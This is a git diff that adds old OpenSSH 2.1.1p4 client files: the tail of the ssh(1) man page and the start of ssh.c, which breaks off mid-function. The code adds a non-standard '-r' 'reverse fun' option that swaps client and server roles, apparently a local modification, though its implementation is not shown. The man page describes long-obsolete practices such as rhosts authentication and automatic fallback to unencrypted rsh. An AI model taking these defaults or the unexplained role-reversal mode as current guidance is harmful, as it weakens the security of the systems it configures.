host and port on the remote side. +This works by allocating a socket to listen to +.Ar port +on the local side, and whenever a connection is made to this port, the +connection is forwarded over the secure channel, and a connection is +made to +.Ar host +port +.Ar hostport +from the remote machine. +Port forwardings can also be specified in the configuration file. +Only root can forward privileged ports. +IPv6 addresses can be specified with an alternative syntax: +.Ar port/host/hostport +.It Fl R Ar port:host:hostport +Specifies that the given port on the remote (server) host is to be +forwarded to the given host and port on the local side. +This works by allocating a socket to listen to +.Ar port +on the remote side, and whenever a connection is made to this port, the +connection is forwarded over the secure channel, and a connection is +made to +.Ar host +port +.Ar hostport +from the local machine. +Port forwardings can also be specified in the configuration file. +Privileged ports can be forwarded only when +logging in as root on the remote machine. +.It Fl 2 +Forces +.Nm +to try protocol version 2 only. +.It Fl 4 +Forces +.Nm +to use IPv4 addresses only. +.It Fl 6 +Forces +.Nm +to use IPv6 addresses only. +.El +.Sh CONFIGURATION FILES +.Nm +obtains configuration data from the following sources (in this order): +command line options, user's configuration file +.Pq Pa $HOME/.ssh/config , +and system-wide configuration file +.Pq Pa /etc/ssh_config . +For each parameter, the first obtained value +will be used. +The configuration files contain sections bracketed by +.Dq Host +specifications, and that section is only applied for hosts that +match one of the patterns given in the specification. +The matched host name is the one given on the command line. +.Pp +Since the first obtained value for each parameter is used, more +host-specific declarations should be given near the beginning of the +file, and general defaults at the end. +.Pp +The configuration file has the following format: +.Pp +Empty lines and lines starting with +.Ql # +are comments. +.Pp +Otherwise a line is of the format +.Dq keyword arguments . +The possible +keywords and their meanings are as follows (note that the +configuration files are case-sensitive): +.Bl -tag -width Ds +.It Cm Host +Restricts the following declarations (up to the next +.Cm Host +keyword) to be only for those hosts that match one of the patterns +given after the keyword. +.Ql \&* +and +.Ql ? +can be used as wildcards in the +patterns. +A single +.Ql \&* +as a pattern can be used to provide global +defaults for all hosts. +The host is the +.Ar hostname +argument given on the command line (i.e., the name is not converted to +a canonicalized host name before matching). +.It Cm AFSTokenPassing +Specifies whether to pass AFS tokens to remote host. +The argument to this keyword must be +.Dq yes +or +.Dq no . +.It Cm BatchMode +If set to +.Dq yes , +passphrase/password querying will be disabled. +This option is useful in scripts and other batch jobs where you have no +user to supply the password. +The argument must be +.Dq yes +or +.Dq no . +.It Cm CheckHostIP +If this flag is set to +.Dq yes , +ssh will additionally check the host ip address in the +.Pa known_hosts +file. +This allows ssh to detect if a host key changed due to DNS spoofing. +If the option is set to +.Dq no , +the check will not be executed. +.It Cm Cipher +Specifies the cipher to use for encrypting the session. +Currently, +.Dq blowfish , +and +.Dq 3des +are supported. +The default is +.Dq 3des . +.It Cm Ciphers +Specifies the ciphers allowed for protocol version 2 +in order of preference. +Multiple ciphers must be comma-separated. +The default is +.Dq 3des-cbc,blowfish-cbc,arcfour,cast128-cbc . +.It Cm Compression +Specifies whether to use compression. +The argument must be +.Dq yes +or +.Dq no . +.It Cm CompressionLevel +Specifies the compression level to use if compression is enable. +The argument must be an integer from 1 (fast) to 9 (slow, best). +The default level is 6, which is good for most applications. +The meaning of the values is the same as in +.Xr gzip 1 . +.It Cm ConnectionAttempts +Specifies the number of tries (one per second) to make before falling +back to rsh or exiting. +The argument must be an integer. +This may be useful in scripts if the connection sometimes fails. +.It Cm DSAAuthentication +Specifies whether to try DSA authentication. +The argument to this keyword must be +.Dq yes +or +.Dq no . +DSA authentication will only be +attempted if a DSA identity file exists. +Note that this option applies to protocol version 2 only. +.It Cm EscapeChar +Sets the escape character (default: +.Ql ~ ) . +The escape character can also +be set on the command line. +The argument should be a single character, +.Ql ^ +followed by a letter, or +.Dq none +to disable the escape +character entirely (making the connection transparent for binary +data). +.It Cm FallBackToRsh +Specifies that if connecting via +.Nm +fails due to a connection refused error (there is no +.Xr sshd 8 +listening on the remote host), +.Xr rsh 1 +should automatically be used instead (after a suitable warning about +the session being unencrypted). +The argument must be +.Dq yes +or +.Dq no . +.It Cm ForwardAgent +Specifies whether the connection to the authentication agent (if any) +will be forwarded to the remote machine. +The argument must be +.Dq yes +or +.Dq no . +The default is +.Dq no . +.It Cm ForwardX11 +Specifies whether X11 connections will be automatically redirected +over the secure channel and +.Ev DISPLAY +set. +The argument must be +.Dq yes +or +.Dq no . +The default is +.Dq no . +.It Cm GatewayPorts +Specifies whether remote hosts are allowed to connect to local +forwarded ports. +The argument must be +.Dq yes +or +.Dq no . +The default is +.Dq no . +.It Cm GlobalKnownHostsFile +Specifies a file to use instead of +.Pa /etc/ssh_known_hosts . +.It Cm HostName +Specifies the real host name to log into. +This can be used to specify nicknames or abbreviations for hosts. +Default is the name given on the command line. +Numeric IP addresses are also permitted (both on the command line and in +.Cm HostName +specifications). +.It Cm IdentityFile +Specifies the file from which the user's RSA authentication identity +is read (default +.Pa $HOME/.ssh/identity +in the user's home directory). +Additionally, any identities represented by the authentication agent +will be used for authentication. +The file name may use the tilde +syntax to refer to a user's home directory. +It is possible to have +multiple identity files specified in configuration files; all these +identities will be tried in sequence. +.It Cm IdentityFile2 +Specifies the file from which the user's DSA authentication identity +is read (default +.Pa $HOME/.ssh/id_dsa +in the user's home directory). +The file name may use the tilde +syntax to refer to a user's home directory. +It is possible to have +multiple identity files specified in configuration files; all these +identities will be tried in sequence. +.It Cm KeepAlive +Specifies whether the system should send keepalive messages to the +other side. +If they are sent, death of the connection or crash of one +of the machines will be properly noticed. +However, this means that +connections will die if the route is down temporarily, and some people +find it annoying. +.Pp +The default is +.Dq yes +(to send keepalives), and the client will notice +if the network goes down or the remote host dies. +This is important in scripts, and many users want it too. +.Pp +To disable keepalives, the value should be set to +.Dq no +in both the server and the client configuration files. +.It Cm KerberosAuthentication +Specifies whether Kerberos authentication will be used. +The argument to this keyword must be +.Dq yes +or +.Dq no . +.It Cm KerberosTgtPassing +Specifies whether a Kerberos TGT will be forwarded to the server. +This will only work if the Kerberos server is actually an AFS kaserver. +The argument to this keyword must be +.Dq yes +or +.Dq no . +.It Cm LocalForward +Specifies that a TCP/IP port on the local machine be forwarded over +the secure channel to given host:port from the remote machine. +The first argument must be a port number, and the second must be +host:port. +Multiple forwardings may be specified, and additional +forwardings can be given on the command line. +Only the superuser can forward privileged ports. +.It Cm LogLevel +Gives the verbosity level that is used when logging messages from +.Nm ssh . +The possible values are: +QUIET, FATAL, ERROR, INFO, VERBOSE and DEBUG. +The default is INFO. +.It Cm NumberOfPasswordPrompts +Specifies the number of password prompts before giving up. +The argument to this keyword must be an integer. +Default is 3. +.It Cm PasswordAuthentication +Specifies whether to use password authentication. +The argument to this keyword must be +.Dq yes +or +.Dq no . +Note that this option applies to both protocol version 1 and 2. +.It Cm Port +Specifies the port number to connect on the remote host. +Default is 22. +.It Cm Protocol +Specifies the protocol versions +.Nm +should support in order of preference. +The possible values are +.Dq 1 +and +.Dq 2 . +Multiple versions must be comma-separated. +The default is +.Dq 1,2 . +This means that +.Nm +tries version 1 and falls back to version 2 +if version 1 is not available. +.It Cm ProxyCommand +Specifies the command to use to connect to the server. +The command +string extends to the end of the line, and is executed with +.Pa /bin/sh . +In the command string, +.Ql %h +will be substituted by the host name to +connect and +.Ql %p +by the port. +The command can be basically anything, +and should read from its standard input and write to its standard output. +It should eventually connect an +.Xr sshd 8 +server running on some machine, or execute +.Ic sshd -i +somewhere. +Host key management will be done using the +HostName of the host being connected (defaulting to the name typed by +the user). +Note that +.Cm CheckHostIP +is not available for connects with a proxy command. +.Pp +.It Cm RemoteForward +Specifies that a TCP/IP port on the remote machine be forwarded over +the secure channel to given host:port from the local machine. +The first argument must be a port number, and the second must be +host:port. +Multiple forwardings may be specified, and additional +forwardings can be given on the command line. +Only the superuser can forward privileged ports. +.It Cm RhostsAuthentication +Specifies whether to try rhosts based authentication. +Note that this +declaration only affects the client side and has no effect whatsoever +on security. +Disabling rhosts authentication may reduce +authentication time on slow connections when rhosts authentication is +not used. +Most servers do not permit RhostsAuthentication because it +is not secure (see RhostsRSAAuthentication). +The argument to this keyword must be +.Dq yes +or +.Dq no . +.It Cm RhostsRSAAuthentication +Specifies whether to try rhosts based authentication with RSA host +authentication. +This is the primary authentication method for most sites. +The argument must be +.Dq yes +or +.Dq no . +.It Cm RSAAuthentication +Specifies whether to try RSA authentication. +The argument to this keyword must be +.Dq yes +or +.Dq no . +RSA authentication will only be +attempted if the identity file exists, or an authentication agent is +running. +Note that this option applies to protocol version 1 only. +.It Cm SkeyAuthentication +Specifies whether to use +.Xr skey 1 +authentication. +The argument to this keyword must be +.Dq yes +or +.Dq no . +The default is +.Dq no . +.It Cm StrictHostKeyChecking +If this flag is set to +.Dq yes , +.Nm +ssh will never automatically add host keys to the +.Pa $HOME/.ssh/known_hosts +and +.Pa $HOME/.ssh/known_hosts2 +files, and refuses to connect hosts whose host key has changed. +This provides maximum protection against trojan horse attacks. +However, it can be somewhat annoying if you don't have good +.Pa /etc/ssh_known_hosts +and +.Pa /etc/ssh_known_hosts2 +files installed and frequently +connect new hosts. +Basically this option forces the user to manually +add any new hosts. +Normally this option is disabled, and new hosts +will automatically be added to the known host files. +The host keys of +known hosts will be verified automatically in either case. +The argument must be +.Dq yes +or +.Dq no . +.It Cm UsePrivilegedPort +Specifies whether to use a privileged port for outgoing connections. +The argument must be +.Dq yes +or +.Dq no . +The default is +.Dq yes . +Note that setting this option to +.Dq no +turns off +.Cm RhostsAuthentication +and +.Cm RhostsRSAAuthentication . +.It Cm User +Specifies the user to log in as. +This can be useful if you have a different user name on different machines. +This saves the trouble of +having to remember to give the user name on the command line. +.It Cm UserKnownHostsFile +Specifies a file to use instead of +.Pa $HOME/.ssh/known_hosts . +.It Cm UseRsh +Specifies that rlogin/rsh should be used for this host. +It is possible that the host does not at all support the +.Nm +protocol. +This causes +.Nm +to immediately execute +.Xr rsh 1 . +All other options (except +.Cm HostName ) +are ignored if this has been specified. +The argument must be +.Dq yes +or +.Dq no . +.It Cm XAuthLocation +Specifies the location of the +.Xr xauth 1 +program. +The default is +.Pa /usr/X11R6/bin/xauth . +.Sh ENVIRONMENT +.Nm +will normally set the following environment variables: +.Bl -tag -width Ds +.It Ev DISPLAY +The +.Ev DISPLAY +variable indicates the location of the X11 server. +It is automatically set by +.Nm +to point to a value of the form +.Dq hostname:n +where hostname indicates +the host where the shell runs, and n is an integer >= 1. +.Nm +uses this special value to forward X11 connections over the secure +channel. +The user should normally not set DISPLAY explicitly, as that +will render the X11 connection insecure (and will require the user to +manually copy any required authorization cookies). +.It Ev HOME +Set to the path of the user's home directory. +.It Ev LOGNAME +Synonym for +.Ev USER ; +set for compatibility with systems that use this variable. +.It Ev MAIL +Set to point the user's mailbox. +.It Ev PATH +Set to the default +.Ev PATH , +as specified when compiling +.Nm ssh . +.It Ev SSH_AUTH_SOCK +indicates the path of a unix-domain socket used to communicate with the +agent. +.It Ev SSH_CLIENT +Identifies the client end of the connection. +The variable contains +three space-separated values: client ip-address, client port number, +and server port number. +.It Ev SSH_TTY +This is set to the name of the tty (path to the device) associated +with the current shell or command. +If the current session has no tty, +this variable is not set. +.It Ev TZ +The timezone variable is set to indicate the present timezone if it +was set when the daemon was started (e.i., the daemon passes the value +on to new connections). +.It Ev USER +Set to the name of the user logging in. +.El +.Pp +Additionally, +.Nm +reads +.Pa $HOME/.ssh/environment , +and adds lines of the format +.Dq VARNAME=value +to the environment. +.Sh FILES +.Bl -tag -width Ds +.It Pa $HOME/.ssh/known_hosts +Records host keys for all hosts the user has logged into (that are not +in +.Pa /etc/ssh_known_hosts ) . +See +.Xr sshd 8 . +.It Pa $HOME/.ssh/identity, $HOME/.ssh/id_dsa +Contains the RSA and the DSA authentication identity of the user. +These files +contain sensitive data and should be readable by the user but not +accessible by others (read/write/execute). +Note that +.Nm +ignores a private key file if it is accessible by others. +It is possible to specify a passphrase when +generating the key; the passphrase will be used to encrypt the +sensitive part of this file using 3DES. +.It Pa $HOME/.ssh/identity.pub, $HOME/.ssh/id_dsa.pub +Contains the public key for authentication (public part of the +identity file in human-readable form). +The contents of the +.Pa $HOME/.ssh/identity.pub +file should be added to +.Pa $HOME/.ssh/authorized_keys +on all machines +where you wish to log in using RSA authentication. +The contents of the +.Pa $HOME/.ssh/id_dsa.pub +file should be added to +.Pa $HOME/.ssh/authorized_keys2 +on all machines +where you wish to log in using DSA authentication. +These files are not +sensitive and can (but need not) be readable by anyone. +These files are +never used automatically and are not necessary; they is only provided for +the convenience of the user. +.It Pa $HOME/.ssh/config +This is the per-user configuration file. +The format of this file is described above. +This file is used by the +.Nm +client. +This file does not usually contain any sensitive information, +but the recommended permissions are read/write for the user, and not +accessible by others. +.It Pa $HOME/.ssh/authorized_keys +Lists the RSA keys that can be used for logging in as this user. +The format of this file is described in the +.Xr sshd 8 +manual page. +In the simplest form the format is the same as the .pub +identity files (that is, each line contains the number of bits in +modulus, public exponent, modulus, and comment fields, separated by +spaces). +This file is not highly sensitive, but the recommended +permissions are read/write for the user, and not accessible by others. +.It Pa $HOME/.ssh/authorized_keys2 +Lists the DSA keys that can be used for logging in as this user. +This file is not highly sensitive, but the recommended +permissions are read/write for the user, and not accessible by others. +.It Pa /etc/ssh_known_hosts, /etc/ssh_known_hosts2 +Systemwide list of known host keys. +.Pa /etc/ssh_known_hosts +contains RSA and +.Pa /etc/ssh_known_hosts2 +contains DSA keys. +These files should be prepared by the +system administrator to contain the public host keys of all machines in the +organization. +This file should be world-readable. +This file contains +public keys, one per line, in the following format (fields separated +by spaces): system name, number of bits in modulus, public exponent, +modulus, and optional comment field. +When different names are used +for the same machine, all such names should be listed, separated by +commas. +The format is described on the +.Xr sshd 8 +manual page. +.Pp +The canonical system name (as returned by name servers) is used by +.Xr sshd 8 +to verify the client host when logging in; other names are needed because +.Nm +does not convert the user-supplied name to a canonical name before +checking the key, because someone with access to the name servers +would then be able to fool host authentication. +.It Pa /etc/ssh_config +Systemwide configuration file. +This file provides defaults for those +values that are not specified in the user's configuration file, and +for those users who do not have a configuration file. +This file must be world-readable. +.It Pa $HOME/.rhosts +This file is used in +.Pa \&.rhosts +authentication to list the +host/user pairs that are permitted to log in. +(Note that this file is +also used by rlogin and rsh, which makes using this file insecure.) +Each line of the file contains a host name (in the canonical form +returned by name servers), and then a user name on that host, +separated by a space. +One some machines this file may need to be +world-readable if the user's home directory is on a NFS partition, +because +.Xr sshd 8 +reads it as root. +Additionally, this file must be owned by the user, +and must not have write permissions for anyone else. +The recommended +permission for most machines is read/write for the user, and not +accessible by others. +.Pp +Note that by default +.Xr sshd 8 +will be installed so that it requires successful RSA host +authentication before permitting \s+2.\s0rhosts authentication. +If your server machine does not have the client's host key in +.Pa /etc/ssh_known_hosts , +you can store it in +.Pa $HOME/.ssh/known_hosts . +The easiest way to do this is to +connect back to the client from the server machine using ssh; this +will automatically add the host key to +.Pa $HOME/.ssh/known_hosts . +.It Pa $HOME/.shosts +This file is used exactly the same way as +.Pa \&.rhosts . +The purpose for +having this file is to be able to use rhosts authentication with +.Nm +without permitting login with +.Xr rlogin 1 +or +.Xr rsh 1 . +.It Pa /etc/hosts.equiv +This file is used during +.Pa \&.rhosts authentication. +It contains +canonical hosts names, one per line (the full format is described on +the +.Xr sshd 8 +manual page). +If the client host is found in this file, login is +automatically permitted provided client and server user names are the +same. +Additionally, successful RSA host authentication is normally +required. +This file should only be writable by root. +.It Pa /etc/shosts.equiv +This file is processed exactly as +.Pa /etc/hosts.equiv . +This file may be useful to permit logins using +.Nm +but not using rsh/rlogin. +.It Pa /etc/sshrc +Commands in this file are executed by +.Nm +when the user logs in just before the user's shell (or command) is started. +See the +.Xr sshd 8 +manual page for more information. +.It Pa $HOME/.ssh/rc +Commands in this file are executed by +.Nm +when the user logs in just before the user's shell (or command) is +started. +See the +.Xr sshd 8 +manual page for more information. +.It Pa $HOME/.ssh/environment +Contains additional definitions for environment variables, see section +.Sx ENVIRONMENT +above. +.It Pa libcrypto.so.X.1 +A version of this library which includes support for the RSA algorithm +is required for proper operation. +.Sh AUTHOR +OpenSSH +is a derivative of the original (free) ssh 1.2.12 release by Tatu Ylonen, +but with bugs removed and newer features re-added. +Rapidly after the +1.2.12 release, newer versions of the original ssh bore successively +more restrictive licenses, and thus demand for a free version was born. +.Pp +This version of OpenSSH +.Bl -bullet +.It +has all components of a restrictive nature (i.e., patents) +directly removed from the source code; any licensed or patented components +are chosen from +external libraries. +.It +has been updated to support SSH protocol 1.5 and 2, making it compatible with +all other SSH clients and servers. +.It +contains added support for +.Xr kerberos 8 +authentication and ticket passing. +.It +supports one-time password authentication with +.Xr skey 1 . +.El +.Pp +OpenSSH has been created by Aaron Campbell, Bob Beck, Markus Friedl, +Niels Provos, Theo de Raadt, and Dug Song. +.Pp +The support for SSH protocol 2 was written by Markus Friedl. +.Sh SEE ALSO +.Xr rlogin 1 , +.Xr rsh 1 , +.Xr scp 1 , +.Xr ssh-add 1 , +.Xr ssh-agent 1 , +.Xr ssh-keygen 1 , +.Xr telnet 1 , +.Xr sshd 8 , diff --git a/other/openssh-2.1.1p4/ssh.c b/other/openssh-2.1.1p4/ssh.c new file mode 100644 index 0000000..ab967b3 --- /dev/null +++ b/other/openssh-2.1.1p4/ssh.c @@ -0,0 +1,990 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Sat Mar 18 16:36:11 1995 ylo + * Ssh client program. This program can be used to log into a remote machine. + * The software supports strong authentication, encryption, and forwarding + * of X11, TCP/IP, and authentication connections. + * + * Modified to work with SSL by Niels Provos in Canada. + */ + +#include "includes.h" +RCSID("$OpenBSD: ssh.c,v 1.57 2000/07/15 04:01:37 djm Exp $"); + +#include +#include +#include + +#include "xmalloc.h" +#include "ssh.h" +#include "packet.h" +#include "buffer.h" +#include "authfd.h" +#include "readconf.h" +#include "uidswap.h" + +#include "ssh2.h" +#include "compat.h" +#include "channels.h" +#include "key.h" +#include "authfile.h" + +#ifdef HAVE___PROGNAME +extern char *__progname; +#else /* HAVE___PROGNAME */ +static const char *__progname = "ssh"; +#endif /* HAVE___PROGNAME */ + +/* Flag indicating whether IPv4 or IPv6. This can be set on the command line. + Default value is AF_UNSPEC means both IPv4 and IPv6. */ +#ifdef IPV4_DEFAULT +int IPv4or6 = AF_INET; +#else +int IPv4or6 = AF_UNSPEC; +#endif + +/* Flag indicating whether debug mode is on. This can be set on the command line. */ +int debug_flag = 0; + +/* Flag indicating whether a tty should be allocated */ +int tty_flag = 0; + +/* don't exec a shell */ +int no_shell_flag = 0; +int no_tty_flag = 0; + +int reverse_fun = 0; + +/* + * Flag indicating that nothing should be read from stdin. This can be set + * on the command line. + */ +int stdin_null_flag = 0; + +/* + * Flag indicating that ssh should fork after authentication. This is useful + * so that the pasphrase can be entered manually, and then ssh goes to the + * background. + */ +int fork_after_authentication_flag = 0; + +/* + * General data structure for command line options and options configurable + * in configuration files. See readconf.h. + */ +Options options; + +/* + * Name of the host we are connecting to. This is the name given on the + * command line, or the HostName specified for the user-supplied name in a + * configuration file. + */ +char *host; + +/* socket address the host resolves to */ +struct sockaddr_storage hostaddr; + +/* + * Flag to indicate that we have received a window change signal which has + * not yet been processed. This will cause a message indicating the new + * window size to be sent to the server a little later. This is volatile + * because this is updated in a signal handler. + */ +volatile int received_window_change_signal = 0; + +/* Value of argv[0] (set in the main program). */ +char *av0; + +/* Flag indicating whether we have a valid host private key loaded. */ +int host_private_key_loaded = 0; + +/* Host private key. */ +RSA *host_private_key = NULL; + +/* Original real UID. */ +uid_t original_real_uid; + +/* command to be executed */ +Buffer command; + +/* Prints a help message to the user. This function never returns. */ + +void +usage() +{ + fprintf(stderr, "Usage: %s [options] host [command]\n", av0); + fprintf(stderr, "Options:\n"); + fprintf(stderr, " -l user Log in using this user name.\n"); + fprintf(stderr, " -n Redirect input from /dev/null.\n"); + fprintf(stderr, " -A Enable authentication agent forwarding.\n"); + fprintf(stderr, " -a Disable authentication agent forwarding.\n"); +#ifdef AFS + fprintf(stderr, " -k Disable Kerberos ticket and AFS token forwarding.\n"); +#endif /* AFS */ + fprintf(stderr, " -X Enable X11 connection forwarding.\n"); + fprintf(stderr, " -x Disable X11 connection forwarding.\n"); + fprintf(stderr, " -i file Identity for RSA authentication (default: ~/.ssh/identity).\n"); + fprintf(stderr, " -t Tty; allocate a tty even if command is given.\n"); + fprintf(stderr, " -T Do not allocate a tty.\n"); + fprintf(stderr, " -v Verbose; display verbose debugging messages.\n"); + fprintf(stderr, " -V Display version number only.\n"); + fprintf(stderr, " -P Don't allocate a privileged port.\n"); + fprintf(stderr, " -q Quiet; don't display any warning messages.\n"); + fprintf(stderr, " -f Fork into background after authentication.\n"); + fprintf(stderr, " -e char Set escape character; ``none'' = disable (default: ~).\n"); + + fprintf(stderr, " -c cipher Select encryption algorithm: " + "``3des'', " + "``blowfish''\n"); + fprintf(stderr, " -p port Connect to this port. Server must be on the same port.\n"); + fprintf(stderr, " -L listen-port:host:port Forward local port to remote address\n"); + fprintf(stderr, " -R listen-port:host:port Forward remote port to local address\n"); + fprintf(stderr, " These cause %s to listen for connections on a port, and\n", av0); + fprintf(stderr, " forward them to the other side by connecting to host:port.\n"); + fprintf(stderr, " -C Enable compression.\n"); + fprintf(stderr, " -N Do not execute a shell or command.\n"); + fprintf(stderr, " -g Allow remote hosts to connect to forwarded ports.\n"); + fprintf(stderr, " -4 Use IPv4 only.\n"); + fprintf(stderr, " -6 Use IPv6 only.\n"); + fprintf(stderr, " -2 Force protocol version 2.\n"); + fprintf(stderr, " -r Have some reverse fun (client acts as server and vice versa:)\n"); + fprintf(stderr, " -o 'option' Process the option as if it was read from a configuration file.\n"); + exit(1); +} + +/* + * Connects to the given host using rsh (or prints an error message and exits + * if rsh is not available). This function never returns. + */ +void +rsh_connect(char *host, char *user, Buffer * command) +{ + char *args[10]; + int i; + + log("Using rsh. WARNING: Connection will not be encrypted."); + /* Build argument list for rsh. */ + i = 0; + args[i++] = _PATH_RSH; + /* host may have to come after user on some systems */ + args[i++] = host; + if (user) { + args[i++] = "-l"; + args[i++] = user; + } + if (buffer_len(command) > 0) { + buffer_append(command, "\0", 1); + args[i++] = buffer_ptr(command); + } + args[i++] = NULL; + if (debug_flag) { + for (i = 0; args[i]; i++) { + if (i != 0) + fprintf(stderr, " "); + fprintf(stderr, "%s", args[i]); + } + fprintf(stderr, "\n"); + } + execv(_PATH_RSH, args); + perror(_PATH_RSH); + exit(1); +} + +int ssh_session(void); +int ssh_session2(void); + +/* + * Main program for the ssh client. + */ +int +main(int ac, char **av) +{ + int i, opt, optind, exit_status, ok; + u_short fwd_port, fwd_host_port; + char *optarg, *cp, buf[256]; + struct stat st; + struct passwd *pw, pwcopy; + int dummy; + uid_t original_effective_uid; + + init_rng(); + + /* + * Save the original real uid. It will be needed later (uid-swapping + * may clobber the real uid). + */ + original_real_uid = getuid(); + original_effective_uid = geteuid(); + + /* If we are installed setuid root be careful to not drop core. */ + if (original_real_uid != original_effective_uid) { + struct rlimit rlim; + rlim.rlim_cur = rlim.rlim_max = 0; + if (setrlimit(RLIMIT_CORE, &rlim) < 0) + fatal("setrlimit failed: %.100s", strerror(errno)); + } + /* + * Use uid-swapping to give up root privileges for the duration of + * option processing. We will re-instantiate the rights when we are + * ready to create the privileged port, and will permanently drop + * them when the port has been created (actually, when the connection + * has been made, as we may need to create the port several times). + */ + temporarily_use_uid(original_real_uid); + + /* + * Set our umask to something reasonable, as some files are created + * with the default umask. This will make them world-readable but + * writable only by the owner, which is ok for all files for which we + * don't set the modes explicitly. + */ + umask(022); + + /* Save our own name. */ + av0 = av[0]; + + /* Initialize option structure to indicate that no values have been set. */ + initialize_options(&options); + + /* Parse command-line arguments. */ + host = NULL; + + /* If program name is not one of the standard names, use it as host name. */ + if (strchr(av0, '/')) + cp = strrchr(av0, '/') + 1; + else + cp = av0; + if (strcmp(cp, "rsh") != 0 && strcmp(cp, "ssh") != 0 && + strcmp(cp, "rlogin") != 0 && strcmp(cp, "slogin") != 0) + host = cp; + + for (optind = 1; optind < ac; optind++) { + if (av[optind][0] != '-') { + if (host) + break; + if ((cp = strchr(av[optind], '@'))) { + if(cp == av[optind]) + usage(); + options.user = av[optind]; + *cp = '\0'; + host = ++cp; + } else + host = av[optind]; + continue; + } + opt = av[optind][1]; + if (!opt) + usage(); + if (strchr("eilcpLRo", opt)) { /* options with arguments */ + optarg = av[optind] + 2; + if (strcmp(optarg, "") == 0) { + if (optind >= ac - 1) + usage(); + optarg = av[++optind]; + } + } else { + if (av[optind][2]) + usage(); + optarg = NULL; + } + switch (opt) { + case 'r': + reverse_fun = 1; + break; + case '2': + options.protocol = SSH_PROTO_2; + break; + case '4': + IPv4or6 = AF_INET; + break; + case '6': + IPv4or6 = AF_INET6; + break; + case 'n': + stdin_null_flag = 1; + break; + case 'f': + fork_after_authentication_flag = 1; + stdin_null_flag = 1; + break; + case 'x': + options.forward_x11 = 0; + break; + case 'X': + options.forward_x11 = 1; + break; + case 'g': + options.gateway_ports = 1; + break; + case 'P': + options.use_privileged_port = 0; + break; + case 'a': + options.forward_agent = 0; + break; + case 'A': + options.forward_agent = 1; + break; +#ifdef AFS + case 'k': + options.kerberos_tgt_passing = 0; + options.afs_token_passing = 0; + break; +#endif + case 'i': + if (stat(optarg, &st) < 0) { + fprintf(stderr, "Warning: Identity file %s does not exist.\n", + optarg); + break; + } + if (options.num_identity_files >= SSH_MAX_IDENTITY_FILES) + fatal("Too many identity files specified (max %d)", + SSH_MAX_IDENTITY_FILES); + options.identity_files[options.num_identity_files++] = + xstrdup(optarg); + break; + case 't': + tty_flag = 1; + break; + case 'v': + case 'V': + fprintf(stderr, "SSH Version %s, protocol versions %d.%d/%d.%d.\n", + SSH_VERSION, + PROTOCOL_MAJOR_1, PROTOCOL_MINOR_1, + PROTOCOL_MAJOR_2, PROTOCOL_MINOR_2); + fprintf(stderr, "Compiled with SSL (0x%8.8lx).\n", SSLeay()); + if (opt == 'V') + exit(0); + debug_flag = 1; + options.log_level = SYSLOG_LEVEL_DEBUG; + break; + case 'q': + options.log_level = SYSLOG_LEVEL_QUIET; + break; + case 'e': + if (optarg[0] == '^' && optarg[2] == 0 && + (unsigned char) optarg[1] >= 64 && (unsigned char) optarg[1] < 128) + options.escape_char = (unsigned char) optarg[1] & 31; + else if (strlen(optarg) == 1) + options.escape_char = (unsigned char) optarg[0]; + else if (strcmp(optarg, "none") == 0) + options.escape_char = -2; + else { + fprintf(stderr, "Bad escape character '%s'.\n", optarg); + exit(1); + } + break; + case 'c': + if (ciphers_valid(optarg)) { + /* SSH2 only */ + options.ciphers = xstrdup(optarg); + options.cipher = SSH_CIPHER_ILLEGAL; + } else { + /* SSH1 only */ + options.cipher = cipher_number(optarg); + if (options.cipher == -1) { + fprintf(stderr, "Unknown cipher type '%s'\n", optarg); + exit(1); + } + } + break; + case 'p': + options.port = atoi(optarg); + break; + case 'l': + options.user = optarg; + break; + case 'R': + if (sscanf(optarg, "%hu/%255[^/]/%hu", &fwd_port, buf, + &fwd_host_port) != 3 && + sscanf(optarg, "%hu:%255[^:]:%hu", &fwd_port, buf, + &fwd_host_port) != 3) { + fprintf(stderr, "Bad forwarding specification '%s'.\n", optarg); + usage(); + /* NOTREACHED */ + } + add_remote_forward(&options, fwd_port, buf, fwd_host_port); + break; + case 'L': + if (sscanf(optarg, "%hu/%255[^/]/%hu", &fwd_port, buf, + &fwd_host_port) != 3 && + sscanf(optarg, "%hu:%255[^:]:%hu", &fwd_port, buf, + &fwd_host_port) != 3) { + fprintf(stderr, "Bad forwarding specification '%s'.\n", optarg); + usage(); + /* NOTREACHED */ + } + add_local_forward(&options, fwd_port, buf, fwd_host_port); + break; + case 'C': + options.compression = 1; + break; + case 'N': + no_shell_flag = 1; + no_tty_flag = 1; + break; + case 'T': + no_tty_flag = 1; + break; + case 'o': + dummy = 1; + if (process_config_line(&options, host ? host : "", optarg, + "command-line", 0, &dummy) != 0) + exit(1); + break; + default: + usage(); + } + } + + /* Check that we got a host name. */ + if (!host) + usage(); + + /* Initialize the command to execute on remote host. */ + buffer_init(&command); + + SSLeay_add_all_algorithms(); + + /* + * Save the command to execute on the remote host in a buffer. There + * is no limit on the length of the command, except by the maximum + * packet size. Also sets the tty flag if there is no command. + */ + if (optind == ac) { + /* No command specified - execute shell on a tty. */ + tty_flag = 1; + } else { + /* A command has been specified. Store it into the + buffer. */ + for (i = optind; i < ac; i++) { + if (i > optind) + buffer_append(&command, " ", 1); + buffer_append(&command, av[i], strlen(av[i])); + } + } + + /* Cannot fork to background if no command. */ + if (fork_after_authentication_flag && buffer_len(&command) == 0) + fatal("Cannot fork into background without a command to execute."); + + /* Allocate a tty by default if no command specified. */ + if (buffer_len(&command) == 0) + tty_flag = 1; + + /* Do not allocate a tty if stdin is not a tty. */ + if (!isatty(fileno(stdin))) { + if (tty_flag) + fprintf(stderr, "Pseudo-terminal will not be allocated because stdin is not a terminal.\n"); + tty_flag = 0; + } + /* force */ + if (no_tty_flag) + tty_flag = 0; + + /* Get user data. */ + pw = getpwuid(original_real_uid); + if (!pw) { + fprintf(stderr, "You don't exist, go away!\n"); + exit(1); + } + /* Take a copy of the returned structure. */ + memset(&pwcopy, 0, sizeof(pwcopy)); + pwcopy.pw_name = xstrdup(pw->pw_name); + pwcopy.pw_passwd = xstrdup(pw->pw_passwd); + pwcopy.pw_uid = pw->pw_uid; + pwcopy.pw_gid = pw->pw_gid; + pwcopy.pw_dir = xstrdup(pw->pw_dir); + pwcopy.pw_shell = xstrdup(pw->pw_shell); + pw = &pwcopy; + + /* Initialize "log" output. Since we are the client all output + actually goes to the terminal. */ + log_init(av[0], options.log_level, SYSLOG_FACILITY_USER, 0); + + /* Read per-user configuration file. */ + snprintf(buf, sizeof buf, "%.100s/%.100s", pw->pw_dir, SSH_USER_CONFFILE); + 